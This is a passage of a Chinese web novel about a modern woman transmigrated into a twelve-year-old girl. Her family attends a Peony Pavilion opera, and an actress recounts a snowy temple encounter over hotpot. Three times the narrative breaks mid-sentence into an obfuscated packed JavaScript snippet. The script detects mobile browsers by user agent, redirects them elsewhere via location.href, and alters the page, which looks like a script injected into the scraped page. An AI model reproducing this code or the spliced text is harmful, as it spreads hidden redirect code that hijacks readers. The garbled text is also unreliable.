徐淑仪挽起袖子给顾夫人盛了碗汤递过去,腕间的翡翠镯子碰到桌沿,发出玉磬般的清响。 顾静翕葱指托着甜白釉碗沿,笑道:“今日排场倒比往日隆重,陈夫人他们竟不留膳?” 徐淑仪染着蔻丹的指甲掠过鬓边点翠步摇,慢悠悠说道:“他家元哥儿惊了魂,幼子在家又身体不适。” “元哥儿吓的不轻?”顾静翕手指轻点了两下桌面,眉毛微微上挑,和徐淑仪交换了个了然的眼神。 “这就得问问咱们家两位小诸葛了。” 李祺正捏着调羹细细刮着胭脂鹅脯上淋的玫瑰卤子,闻言抬头道:“先让阿孚说说今日下午发生了什么吧。” 中孚看了眼正一口咬掉半块鹅脯的李祺,偷偷抿了抿嘴角,规规矩矩地放下手中的玉箸,认真说道 “我就是按照明姐姐交代的,先将写有故事的那页纸夹进书里,引他去看,然后又带他去池边散步,将他引到事先埋好的龟甲处,待他踩到就将其挖出,再偷偷将香灰水洒到龟甲上让字迹显现,最后把字念出来。” 李祺看了眼正目光炯炯的盯着她的男孩,咽下了嘴里的半口鸭汤,接着说道 “那天淑姨和娘亲走后,我就在和阿孚商量。阿孚模仿那本书的字迹编了个故事写上去,我就拿着龟甲刻字,末了咱俩再仔细推敲了一下细节,这事就成啦!” 边讲着边从中间盘子里澄黄的五味鸡中挑了个最大的鸡腿夹到中孚面前的碟子里,看着男孩惊讶的神情,大声说道:“这事能成,咱们阿孚可是大功臣!快快多吃些!” 男孩显然一惊,快速反应过来后腼腆地说了声谢谢明姐姐,抬眼正撞见李祺素手捧腮的促狭模样,慌忙低头,垂下的眼帘掩住眼底笑意,拿起玉箸低头吃起鸡腿来。 徐淑仪侧身瞧见男孩通红的耳朵,笑着打趣道:“自从咱们明儿来了之后,中孚倒似得了活水滋养的兰草,不像之前那样,小小年纪总爱板着一张脸,捧着本书能枯坐整日。” 闻言顾静翕也捏着帕子笑道:“还不是你府上连个阿孚的同龄人都没有,半大的孩子天天和大人待一起,定是不得趣的。” 大人们你一句我一句的打趣桌上的两个孩子,李祺一副没事人的样子埋头吃饭,而中孚紧紧捏着调羹,耳上的红晕大团大团的烧到了脸上。 瞧见男孩害羞的模样,徐夫人终于大发慈悲击掌解围:“好啦,都快尝尝新蒸的玉尖面,凉了可就要辜负这脆嫩的春笋尖儿啰。” 叶府庖厨掌勺原系御膳房退下来的老师傅,菜色花样多,味道又好,只见那蟹粉狮子头在金边定窑碗里颤巍巍泛着油光,银匙搅动时,能看见碎金似的蟹黄沉在肉蓉里。 清蒸鲫鱼泛着二十年陈酿花雕沁出的酒光;胡椒醋鲜虾红澄澄一片,翠玉似的葱花点缀其间,酸辣的气味引得人食欲大开…… 廊下捧着青釉莲瓣碗的丫鬟正在将新剥的鸡头米倒进冰糖桂花羹里,徐夫人用帕子按了按嘴角,招手让人将甜汤端上来。 “倒想起桩风雅事。”徐夫人银匙搅动甜汤,桂子随着涟漪沉浮,“府里请了个昆班来,里头有位唱杜丽娘的名角,风头正盛,同时那水磨腔十分有韵致,唱‘袅晴丝’时,连梁间燕子都忘了振翅。” 提到《牡丹亭》,顾夫人双眼一亮,缠枝莲银匙悬在碗沿:“可是那来鹤班的李青棠?” “正是,明日未时开《惊梦》折子戏,静翕你且备好十方鲛绡帕拭泪罢。” 顾夫人闻言更是兴奋,脸上微微泛起红晕,眼中光芒愈甚:“这趟可不是来巧了!明儿也对《牡丹亭》喜欢的紧,之前总在家里拉着我嚷嚷要看人唱,本来想着开春后寻时间请人来府上演,这下倒帮我省了不少事。我的好姐姐,一下子全了我和明儿两个人的愿!” 看到母亲和淑姨高兴的模样,李祺内心惶恐,我什么时候…不,原主什么时候喜欢的《牡丹亭》?十二岁的小孩看什么《牡丹亭》,你看得懂吗?死脑袋赶紧想啊,快把这段记忆挖出来,不然露馅了咋整?天怎么一点都记不起来啊! 李祺深深低着头,几乎要将脸埋在碗里,掩饰自己慌张的表情。同时内心也十分疑惑,这《牡丹亭》到底有什么样的魅力使得母亲一听就如此欢喜?不就是一个缠绵悱恻的爱情故事? 生活在二十一世纪的她并没有听戏的爱好,最多听听古风歌里的戏腔,当然她也晓得这与真正的戏曲相比可谓天差地别,但现代年轻人中又有多少完整听过一折戏? 至于《牡丹亭》,冷静下来后再仔细想想,女孩悄悄松了口气,幸好,拜发达的互联网和自己所学专业所赐,作者背景、故事梗概、出名唱段和唱词都大概知道一些,要是明日真问起她什么,也不至于一无所知到让人怀疑这具躯壳是不是换了芯子,她可不想被当做妖女处理掉。 晚膳后淑姨就急匆匆地拉着母亲去她房里讨论她最近新为《牡丹亭》做的注解,中孚擦了擦手,说自己还有功课没完成,自个儿回了书房,李祺看着空空如也的饭桌,想想自己现在也无事可做,便由丫鬟领着回了自己房间。 挥手遣退了丫鬟,坐在红木雕花的镜台前,正打算好好梳理一下自己对《牡丹亭》的记忆,抬头忽然瞧见缠枝牡丹镜里的那张脸,黛眉如初月新裁,杏眸似清泉凝露,桃心似的脸蛋虽稚气未脱,但也初具少女的清丽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15286958|166940||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 这是一张稚嫩的、陌生的脸。每次照镜子时,李祺总先一阵恍惚,这镜中人是谁?亦或我是谁? 少女抚过钿螺妆奁上的《千里江山图》纹样,忽觉自己便是那画中误入桃源的行客——十二岁王明夷的皮囊裹着二十三岁李祺的骨,连额角淡青血管里奔涌的,都是两种时空交错的暗潮。 来到这不足两月,却觉得之前的日子遥远的好像已是上辈子的事了,算算时间,若还在学校,最近该轮到她进行课堂汇报了,想到这,女孩不觉轻笑出声。 有时午夜梦醒,李祺也会恍惚,自以为的穿越会不会只是黄粱一梦,一切只是一个濒临死亡的小孩在生死间挣扎出来的幻想? 不,不是的,总有无数细节提醒着她,你不属于这,这不是你的时代。四周高高的、仿佛没有尽头的围墙,处处受限、只能踱步于一角樊笼的步履,一声声夫人小姐的叫唤,秋千上纷飞的春花,方才格格不入的《牡丹亭》……这是她与这个世界的隔阂,无法躲避,无法接受,可是那又怎样呢,她回不去了…… 李祺不知怨恨了多少次,为什么是她?凭什么是她?二十几年人生循规蹈矩,干过唯一出格一点的事不过是翘掉几节水课出去玩。 是的,她知道许多事情是没有道理的,她不过是浩渺天地间一个不值一提的小倒霉蛋罢了。只是,她的妈妈、她的亲人朋友会怎样面对她的突然失踪?她不想让他们伤心太久,但又害怕他们不会伤心太久…… 一位葡萄牙诗人曾说过:“活下去的冲动会逐渐堵住泪水,特别是当流泪并非因为自己,而是因为发生在别人身上的事,尤其是死亡,因为死后,再不会有什么发生在他们身上……”在那个世界,她大抵和死亡没什么两样,什么也做不了,也终将被遗忘。 李祺不是一个喜欢自怨自艾的人,她觉得自己很像一株蒲苇,充满韧性,浑身虽没什么聪明劲,但好在能坚持。现下的境况就是这样,躺尸摆烂实在做不来,那就只能试着往前走。 《悉达多》里有这样一段话:“世间的每一瞬皆为圆满……我不再将这个世界与我所期待的,塑造的圆满世界比照,而是接受这个世界,爱它,属于它。” 李祺有时觉得自己有些唯心,因为她总觉得,无论何种境遇,如果她能调整自己的心态去适应,那困境就不能算困境,好坏不由外定,而是由心。 她无法共情这个时代,更不会爱上,但她也不会让怨怼和抵触长留心间,这会让她自己难受,而她只想让自己过得舒服些。 明灭的烛火下,桌上的钿螺妆奁流转着彩色的光泽,青瓷小罐里,雪白的茉莉粉散发着幽幽香气。女孩轻轻偏了偏头,鬓间流苏晃动的声音在安静的房间里显得格外清脆,抬手想摸摸自己的脸,指尖却在要触碰到肌肤时顿了顿,转而伸向前。 女孩一寸一寸地描摹着铜镜里流泪的面庞,轻声说道:“明夷,明日就听能那杜丽娘挽着水袖唱''原来姹紫嫣红开遍'',你可欢喜?” 9. 拔霞供 不知是否天公也晓得今日要唱戏,往日凛冽的风全都停了下来,雀儿稳稳地站在枝头叫得欢快,大片大片的桃花和玉兰香得人好似钻进丛中的蜜蜂。 叶府的后花园里,才修缮不久的戏台飘着桐油的香气,十丈见方的青石台基上,楠木雕的“凤穿牡丹”藻井映着天光。 明夷和母亲她们坐在黄花梨木制成的玫瑰椅上,展开手中的洒金笺,上面用泥金写着今日的戏目。 来鹤班的班主亲执檀板,笛师试音时吹出来的颤音如游丝般,惊得池中锦鲤跃出水面。一切准备就绪,只见戏台后方转出个柳腰轻摆的身影,杜丽娘莲步轻移,水袖如流云般舒展。 “原来姹紫嫣红开遍——” 才启朱唇,满园的海棠竟似应声而落,明夷后颈瞬间绷直,不由自主的摸了摸胳膊上起的鸡皮疙瘩,原来这世间真有如此动人心魄的声音。 再见那旦角踩着跷鞋旋身,月白水袖一会如惊鸿振翅,一会似流云漫卷。当她唱到“生生燕语明如剪”时,檐下鸟雀也振翅惊叫。 明夷忍不住拍手叫好,她终于明白古人说的"遏云绕梁"是什么样的感觉了。身旁的顾夫人正用绀碧帕子按着眼角,徐夫人更是把手上的湘妃竹骨扇撕开了半寸裂缝。 再当那杜丽娘唱到“则为你如花美眷,似水流年”时,旁边不知谁手中的茶盏突然倾斜,泼出的茶汤在青砖地上蜿蜒成一道水痕。 戏至《离魂》一折,边上的班主突然示意乐工转调,原该演奏的是凄切的商调,现下却用了罕见的越调指法。 只见台上杜丽娘的水袖陡然收作白练,满座惊呼中,她忽地仰面甩发,缠金丝假髻顿时散作漫天青丝,正合着那句“这叫做骨血儿当还故主”。 “明姐姐你帕子掉了。” 清脆的童音突然在耳畔响起,明夷转头撞见中孚那双黑白分明的眼睛,还未来得及道谢,台上铃声乍响,杜丽娘甩出的水袖缠住了她案前的梅瓶,瓶中桃枝应声而断,台下一片哗然。 顾静翕脱力似的靠在椅子上,手上的帕子已浸透了眼泪,望着戏台上眼波流转的杜丽娘,喃喃道:“这出戏实在是比汤显祖笔下的文字更摧人心肝。” 徐淑仪只是怔怔地望着台上的人,将暖炉往友人手边推了推,她们中间隔着的紫檀案几上,用松烟墨誊写的曲本正翻到《惊梦》一折,纸页边密密麻麻缀着朱砂批注。 一场戏不知唱了几个时辰,待戏台忽暗,四盏羊角灯次第亮起,明夷才注意到周围已是暮色四起。方才沉浸其中,几乎至忘我地步,现下缓了过来,就感觉胃里空空,整个人饿得慌,怕是早过了晚饭时辰。 徐夫人用干涩的嗓音唤来身边丫鬟不知说了什么,又从腰间取下一个玩意交给她,接着就见那穿着青花缠枝比甲的丫鬟转眼就消失在戏台后面。 徐夫人起身抚了抚鬓角,又低头将衣服上的褶皱抻平,轻轻咳了两声,又端起旁边的盖碗茶抿了一小口,才开口对众人说道:“晚膳已经备下,咱们走吧。” 戏台侧边的一处耳房内,空气中混着檀香和铅粉的味道,雕花镜台上堆满了各种珠花行头,各色戏服散乱的搭在红木衣匣上。 刚下台的李青棠正对着铜镜小心翼翼地卸去头上的钗环,忽瞥见铜镜里面闪过一个人影,回头看去,只见一个形貌沉稳的丫鬟敲门走了进来,双手捧着一个托盘,上面用红布托着一枚双鱼玉佩,微微福了福身,说道 “青棠姑娘好,我家夫人十分喜爱您方才的表演,特让我将这块玉佩赠于您,并请姑娘移步去荷香榭吃茶,若姑娘收拾好了,就请随我走吧。” 李青棠瞥见玉佩有些熟悉的“徐”字篆,指尖忽然颤抖,七年前吴山寺外,正是这块玉佩的主人将浑身湿透的她从雪地里扶起,赠她手抄的《牡丹亭》。 珍重地接过玉佩将其仔细系在腰带处,李青棠随手从妆奁里拣了根蓝宝石簪将头发挽成一个松松的发鬓,又从跟前的雕花架子上取了件宝蓝色素面抗绸长袄披上,朝候立在旁的侍女点点头,施施然开口道:“烦请姐姐带路。” 荷香榭内水汽氤氲,黑漆彭牙四方桌上架着一个斗彩团花纹菱花式火锅,徐淑仪正用银剪拨弄着风炉里的银丝碳。 李青棠在丫鬟的引导下在徐夫人的右边入座,不动声色地环顾四周: 对面坐着的应该是对母女,大的那位容长脸面,柳目翠眉,举手投足间自有一股风流韵味,不禁让人暗叹,真乃少见的佳人。小的那位杏眼桃腮,与旁边的妇人有三分相似,双手捧着茶杯,正悄悄抬眼朝她这边偷看。 旁边坐着的是一位男孩,看模样应该不满十岁,但已长得目如朗星,鼻若悬胆,眉心中间还有一颗米粒大的红字,像极了观音座下的童子。 明夷望着中间冒着热气的大锅,锅底的雪梨老鸭汤已滚作乳白,只觉得内心兴奋得不行。来得路上就听淑姨说今晚带她吃“拔霞供”,当时还不知道是什么意思,进来一看,竟然是火锅! 台上那位杜丽娘也被请了过来,褪去舞台上艳丽的妆面,整个人如春日海棠般明媚,女孩忍不住偷瞄了好几眼,结果正巧对上人家笑吟吟的眼神,‘杜丽娘’俏皮地朝小姑娘眨了眨眼,明夷霎时觉得柳梦梅和自己结下了夺妻之仇。 门外侍立的几个丫鬟提着漆木食盒鱼贯而入,次第摆开,二十四格青玉盘里码着薄如蝉翼的兔肉片,另有羊肉、牛肉各好些。 松江银鲈切得透光,云腿薄片红玛瑙似的叠成小山。白玉似的山鸡片整整齐齐摆在荷叶盘里,花纹繁复的蛤蜊并着鲜虾各置菱花束腰盘两端,清笋、荠菜、石耳等素菜齐齐摆在一个白瓷攒盘内,另备肉丝烫饭和水引几碗。 水雾缭绕间,徐淑仪看着李青棠腰间的玉佩有些怀念,“不知青棠小姐可还记得这枚双鱼玉佩?” 李青棠低头摩挲着玉佩上复杂的纹路,恍惚又回到了那个雪天,还未言语,泪水就已经蓄满了眼眶:“夫人,青棠怎会不记得?那日若是没有你,又怎会有如今的李青棠。” 徐淑仪闻言也不禁拭了拭眼角,“吴山寺一别,已经七年了,你今日在台上唱的那句‘如花美眷,似水流年’与那晚你唱给我的一模一样,才惊觉原来是故人啊。” 一旁的顾静翕听到这里突然也有些警觉,“七年、吴山寺,徐姐姐,是那回你去——” 徐淑仪颔首,“那么多年了,难为你还记得。” 提起那年,顾静翕眉眼间有些凄楚,“这怎能忘了。” 瞧见顾静翕泫然欲泣的模样,徐淑仪苦笑两声,拍了拍友人的肩膀,又对着明夷说道:“明儿快给你娘亲递条帕子过来。” 王明夷赶忙从身上翻了条帕子递过去,才想起这还是看戏时阿孚捡给她的。 只见淑姨又回头对母亲说道:“我提这个本不是想惹你伤心,今个儿听戏时早把眼睛哭红了,现在可不能再哭了,你就不好奇我和青棠姑娘是怎么认识的吗?” 顾静翕红着眼眶点点头,在桌子底下攥紧了徐淑仪的手。 李青棠细细观察着两人的互动,绞着帕子开口道:“两位夫人叫我青棠就好,那日的事情由我来说给各位听吧。” 青棠正常说话的声音不同于戏台上的缠绵婉转,而是有些低沉,讲故事的语调有些缓慢,带着深深的缱绻,火锅里蒸腾出的白汽模糊了五官的轮廓,又好似一片茫茫的雪雾。 熹宁六年,大雪,吴山寺。 苏州城的大雪已经下了三日,城外吴山,翠峦环抱之中,隐匿着一座古刹。青石板路挤满厚厚的白雪,如一条白练般蜿蜒至山门,两旁古木参天,枝叶交叠,均盖着厚厚的白雪,金漆斑驳的匾额上,镌刻着“吴山寺”三字。 十六岁的李青棠是来鹤班初出茅庐的闺门旦,现下却青丝迤地,披着单薄的戏服深一脚、浅一脚地走在陡峭的山路上。大雪簌簌落满她的发丝、肩头,掩埋了她的脚印,她却浑然不觉般自顾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15286959|166940||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自地向前走着。 古刹的钟声回荡在静谧的山林间,少女脱力晕倒在寺庙的台阶前,只记得最后看到的一角月白裙边和一块青玉双鱼佩。 再睁眼时,李青棠发现自己躺在寺里的禅房,身上盖着一床厚厚的褥子。一位年轻的妇人浑身素白,鬓间也只简单插了几只银簪,正跪坐在蒲团上抄着经书。听到李青棠醒来的动静,只是抬头示意侍女端了碗姜茶进来,手上依旧抄着书。 李青棠双手捧起姜茶小口抿着,几口下肚,感觉身体内部似乎暖和不少。面前背对着她的夫人背脊挺拔,映着窗外茫茫白雪,让人想起苍劲的翠竹。 手上的瓷碗已经见底,犹豫再三,李青棠还是开口道:“夫人,是你救了我吗?” 少女说完就后悔了,这茫茫雪天,你又在人家屋子醒来,怎地还问这么无用的问题? 妇人将狼毫搁在笔山上,缓缓转身,眼前这位夫人身形单薄,眉眼浅淡,脸色苍白得和雪一样。李青棠突然觉得她不像翠竹了,她应是被风雨压得不堪重负的梨花。 “你会唱戏?”妇人问道 李青棠看了看地上的戏服,点点头:“我唱昆曲。” “会唱《牡丹亭》吗?”妇人又接着问 “会的,您要听吗?”少女小心翼翼的答道 妇人似乎顿了一下,又可能是李青棠的错觉,总之她很快神色冰冷地说道:“不用,清修之地,不易喧哗。” 随后又是沉默,妇人静静地坐在蒲团上,捻着手腕上的佛珠。在数到风声第四次将窗棂拍响时,李青棠又忍不住说道:“谢谢夫人救命之恩,可否留下姓名,小女日后定当报答。” 妇人神色未动,只是将腰间玉佩丢给她,少女双手接住玉佩,看见上面刻的着一个“徐”字。 李青棠起身走到妇人身边,恭恭敬敬的将玉佩递还,“感谢徐夫人的救命之恩。” 徐夫人依旧神色淡淡,伸手接过玉佩,转身又提笔开始抄经。 少女瞄到夫人抄的是《地藏经》,心里一动,话还未细想就已经脱口而出:“夫人是在为谁祈福吗?” 此话一出,徐夫人原先冷淡的神情顿时出现了裂痕,拿笔的手也有些微微颤抖,在纸上晕开一道墨痕。 少女意识到自己说错了话,着急忙慌的想要找补,却一时间想不出说什么,只是将脸憋的通红。 徐夫人将面前的纸揉成一团,又重新换了一张,却将笔放下没有再写的意思。 良久,淡淡开口道,又似自言自语:“我为我的两个孩儿祈福,祈祷他们离苦得乐。” 妇人的声音带着明显的颤抖,见状李青棠更是手足无措。但徐夫人似乎也不在意她的反映,依旧自顾自得往下说:“我有一对龙凤胎,生于熹宁元年的小满,又因发热死于熹宁六年的小雪。我的丈夫不在意孩子的出生,也不在意孩子的死亡……” 望着妇人悲痛的面容,少女只觉心脏像是被千根银针同时刺中一样,面颊滚下两行热泪,不知怎的,或许痛到极致,一切话语都能轻松出口,李青棠凄然一笑,轻轻握住徐夫人捻着佛珠的手 “我的爱人死了,在今天。我感觉自己和杜丽娘般,魂魄也随着情去了,但是他不会复活,我也不会。” 静了一下,少女又哽咽着唱到:“则为你如花美眷,似水流年……” 妇人接连落下的泪水打湿两人交织的衣角,少女轻轻搂着妇人单薄的背脊,让自己的脑袋靠在她的肩头,她们像是抱着孩子,抱着爱人…… 窗外的雪似粗盐般,在石地上铺了一层又一层,不知何时,悄悄停了。 徐夫人从随身带的行李中取出一卷手抄的《牡丹亭》,将它放在少女的手中 “每每看到《寻梦》,总听到有人说杜丽娘是痴人说梦,可若不做这场梦……”妇人顿了顿,将冷透的茶汤泼向花盆,“便如这茶叶,在滚水里浮沉半生,终究是要沉进不见天日的壶底。” 10. 知识点进脑乎? 丫鬟将暖阁内的槛窗支开,让冷风透了进来。原先滚水翻腾的斗彩菱花锅现已恢复了平静,蒸腾的白汽也被风散的无影无踪。 徐夫人让人收了桌子,又泡了茶端上来。饭已吃尽,故事也已讲完,顾静翕捏着帕子低声啜泣,左手死死抓着友人的手,徐淑仪倒是面色寻常,但眼底的悲楚却是掩不住的,只是无奈地拍着友人颤抖的肩膀。 李青棠眼眶隐隐泛红,那晚她们谈了一宿《牡丹亭》,次日早晨告别后,她才想起自己对于那位夫人只知姓不知名,戏班很快就搬去别处了,茫茫人海无处可寻,只能夜夜翻着那卷起了毛边的手抄本。 两个悲剧,明夷暗暗评价,还魂只存在书中,现实里只有伤心人。 女孩长长叹了口气,大人们正抱做一团,她转头看向吴中孚,后者也恰巧对上她的眼睛——男孩虽然面上依旧无甚表情,但眼尾却有些耷拉,明夷心里一动,这孩子那么小就离开了父母,应该也很想念吧。 顾静翕止住了眼泪,睁着红肿的双眼,忽然说道:“我在闺中时常读《牡丹亭》,每每读到《训女》那回,想到杜丽娘长到十六岁,却整日在闺阁中‘长向花阴课女工’,奉行礼教,恪尽妇人之德,我心中就酸楚不已,觉得自己也是那杜丽娘,被拘在方寸之地,无论是身是情,都没有半点自由。” 明夷有些疑惑地看着自己的母亲,她不知道为何会突然说起这个。她明白什么是吃人的礼教,但——女孩回忆了一下,茫然的发现自己似乎从未走近过那些被吞噬之人的心声。为什么呢?那些声音去哪了?想到这,明夷心里涌上一股悲寂。 徐淑仪眉眼染上些许酸楚,其中滋味她怎会不明白?李青棠静静撑着胳膊,不知是在看说话的妇人,还是窗外摇晃的海棠。 顾静翕自顾自地往下说:“偶尔也能去家中庭院游玩,四四方方的院子,从这头到那头。我和徐姐姐比邻而居十几载,见面次数却寥寥无几。幸亏徐姐姐聪明——” 想到这顾静翕勾起了嘴角,“在两家的围墙底下发现一处小洞,我俩偷偷拿着簪子凿了几天,总算能容纳一卷书页的通过,我俩就这样互相分享着,读了不少诗书,那些共评《牡丹亭》的日子,像是置身于另一个世界。” 讲到这徐淑仪也扬起了眉毛,发出一声轻笑:“记得那日我在花园里荡秋千,故意荡得很高,本想看看远处的运河,却不小心瞅见躲在杜鹃花丛下哭泣的小静翕。我大声喊她,叫了好几声才回头看我,一张小脸哭的好不可怜。我让她在那等我,跑回去写了个字条又爬上秋千扔给她,但是静翕没法传信给我啊,所以我俩就沿着墙根一寸寸找,才总算找到一处豁口。” 提起往事,两人相视一眼,俱是怀念。 徐淑仪起身将旁边的窗推得更开些,任凭晚风将海棠花瓣卷了进来,似有惆怅地望着漆黑的庭院:“杜丽娘游园赏春——‘朝飞暮卷,云霞翠轩;雨丝风片,烟波画船,锦屏人忒看的这韶光贱!’我年少时也以为自己就是那丽娘,能得一锦屏人共度春光,却不想最后却只落得个断井颓垣,后来…丽娘二八年华都敢为梦中人舍了性命,我却只能为我儿抄几卷经书……” 李青棠摘下鬓边宝石簪,任由青丝垂落,仿若卸下戏妆:“二位夫人可知,每回唱《寻梦》那句‘这般花花草草由恋’时,总觉有把刀子往心口戳。台下那些道学先生拍手叫好,可他们哪懂——杜丽娘要的不是才子佳人的俗套,是‘生生死死随人愿’的痛快!三妇评本里说得好,丽娘的情是‘天地间至情’,偏这世道却容不得女子有半分痴念。” 顾静翕望着友人落寞的面容,少女时期,徐姐姐最是大胆,每每读到情动处,就止不住地畅想自已嫁人后的生活,如意郎君、乖巧儿女…情爱于闺中女子而言,本是不可触碰的禁地,但两人共读《牡丹亭》的时光,却成为将她从沉闷生活中解救出来的精神寄托。 墙角小小的洞口破开了加于女子身上的数道枷锁,钻出了个小小浮世,让她们得以享受自由奔流的情感。可这天意弄人,最想爱之人却几乎落得个无人可爱的下场。她还记得徐姐姐新婚后寄过来的满纸酸楚,孩儿死后几张薄笺上的斑斑血迹…… 想到这,她忽然正色道:“谁说不是!你们可还记得《诊祟》那出?太医说丽娘的病是‘七情所伤’,我每读至此便想冷笑——这哪是情字害人,分明是这世道拿‘理’字当锁链,生生把人憋出病来!” 李青棠解下腰上的香囊,从里面取出一小截干枯的柳枝,“这是三年前在徽州演《幽媾》时,台下有位娘子掷上来的。她说自己夫君新丧,夜夜梦见故人持柳而来,竟与丽娘故事暗合。后来才知,那娘子次年便投了湖……” 她沉默片刻,不知想到什么,眼尾有泪珠划过,将那柳枝放与桌上:“或许汤若士早看透了,女子若想全了这点痴情,要么成鬼,要么成仙。” 徐淑仪怔怔望着柳枝,将鬓角被风吹起的碎发别在耳后,神情突然有些愤然:“我幼时读《关雎》,先生说是颂后妃之德。可听丽娘说‘圣人之情,尽见于此矣’时,忽如醍醐灌顶——原来情字本在六经中,偏被腐儒曲解得面目全非!” 屋内沉水香袅袅升起,混着海棠的味道,味道有些许浓郁,明夷皱了皱鼻子,忍不住打了几个喷嚏。徐夫人赶忙将窗关上,道“明儿可是受凉了?” 明夷一面谢过吴中孚递来的帕子,一面对着母亲她们摇头,“只是鼻子有些痒而已,不打紧。” “现在几时了?”徐夫人问道 “回夫人的话,还差一刻钟到戌时。” “竟已这么晚了?”徐夫人眉头拧在了一起,“让人把小姐和少爷带回房休息。” 末了又朝着顾夫人和李青棠问道:“静翕和青棠可愿于此处接着聊?我使人将三妇评本,还有吴江林家三小姐临终前批注的《牡丹亭》一并拿来。林三小姐的批注实在精妙,初翻始见她写‘丽娘之梦非虚妄,乃女子灵台自生天地’,又说柳郎唤画时‘非独慕色,实见才心相映’,实在难以想象,这般洞见,竟出自未出阁的少女,可惜她十七岁便香消玉殒,批本险些被族中叔父当作邪书焚毁……”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15286960|166940||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 丫鬟将批本拿来后,顾静翕凑近细观徐淑仪刚刚提到的那页批注,神情有些惊愕:“这竟是将《关雎》与《惊梦》并论,叶姑娘批‘雎鸠关关是天地情语,与良辰美景奈何天本同根而生’,这……这岂不是说圣贤书与儿女情原是一体?” 李青棠闻言也凑了过来,看清那细密的朱字后,忍不住抚掌而叹:“我扮丽娘多年,早已觉得她占了我半边魂魄,现下看到林三小姐的眉批,顿生出惺惺相惜之感。我一直认为杜柳之爱非单方痴缠,而是才情相激、魂魄相照,那柳梦梅拾画时,动心非为画中仙姿,实惊才女心事。世人只见丽娘为情死,不知梦梅亦因情生。” 顾静翕听到此处也恍然:“难怪汤先生写柳生初见画中题诗,便道‘押韵伤心’!原来这书生爱的不仅是皮相,更是杜丽娘喷薄纸上的才情。” 徐淑仪染着凤仙花的指甲轻轻划过几行小小的朱字,含笑道:“正是如此,那些酸儒只知才子佳人,念几句‘女子无才便是德’,却看不见杜柳之爱中才情共振的特质。丽娘不只有好颜色,她才慧过人,于情不渝,这才是世间女子心之所往啊。” 菱花窗外漏进几缕月光,正落在螺钿梳妆台的铜镜上。镜面将那道银线折向架子床顶的万字雕花,暗红的酸枝木顿时浮起一层流银。 明夷从案前躺到榻上,滚了几圈,恹恹地数了会床顶的花纹,又从榻上坐到案前,百无聊赖地转着桌上的茶杯——睡不着。 檐下的走马灯随着竹林轻轻晃动,灯油灼灼,热气上涌,图案不停轮变,明夷被暖光吸引托着腮望了过去,在不知看了多少次武将的马上追逐,女孩突然起身,仔细挑了个看起来最轻便的白釉莲瓣烛台,吱呀一声将门推开,她要出去走走。 夜晚的庭院并非寂静无声,铜漏壶的水声与竹叶摩挲的声音构成了天然的节拍,廊柱间的宫灯透着琥珀般的暖光。行至池塘边,池水倒映着玉盘般的圆月,波纹被游鱼搅碎,顿时化作满池跳动的碎银。明夷举着烛台,漫无目的走着,夜晚微凉的空气抚平了脑袋里杂乱的思绪,不知不觉就走到了那日荡秋千的地方。 夜晚的槐树比白日更显巍然,紫藤花爬满秋千架,似风铃般在月亮底下泛着莹莹的紫光,她们就是因为秋千结缘,女孩喃喃道。低头在槐树盘亘的根系中找了处位置,小心翼翼地将烛台嵌了进去,明夷借着月光爬上了秋千架,一下又一下,越荡越高,看见墙外的街道。 临街木楼挑着数十盏羊角灯,昏黄光晕里浮着细小的蠓虫。巡夜武侯的火把掠过巷口,打更人的梆子声在坊墙间撞出回响。明夷任由自己一次次往高处荡,耳目与思绪飞出了四方围墙,魂魄漂浮在广阔的夜空下…… 突然,一道略微低沉的女声划破了自然的静谧:“王小姐怎么这么晚还在园子里荡秋千?” 耳边的风将声音撕裂的不甚清晰,明夷模糊听到有人叫她,下意识抓紧青绸缠绳,循声看去,只见槐树旁边的高地处浮着一团暖黄,一位身形瘦削的女子提着盏宫灯,长发披散,深蓝的衣袍大半掩在黑暗里,看不清面容。 11. 好大一盆狗血 明夷有些警觉的眯起了眼睛,依旧站在秋千上小幅度摆动。那团暖光缓缓朝槐树靠近,来人将宫灯举高,映出一张俏生生的明媚面容,女孩呼吸一滞——原来是李青棠。 李青棠弯腰将烛台拾起,递给了从秋千上跳下来的王明夷,还未等女孩开口,又含笑问道:“王小姐怎么这么晚还在这里荡秋千啊?” 明夷不答,只是盯着那盏宫灯坠着的流苏,半响,才抬头看向女子的眼睛:“李姐姐是要回房休息了吗?” 李青棠饶有兴趣地看着女孩有些防备的眼神,夹了夹嗓子,用唱戏般的腔调说道:“本是要回去的,不想半路在月亮中瞧见一位裙裾飘飘的身影,还以为是广寒宫上的仙子下凡呢。” 女孩被烛台映照的侧脸微微发红,李青棠也不等她回话,微微俯身和女孩平视,又接着说道:“如果现在不想回去的话,要不要和我一起走走呢?” 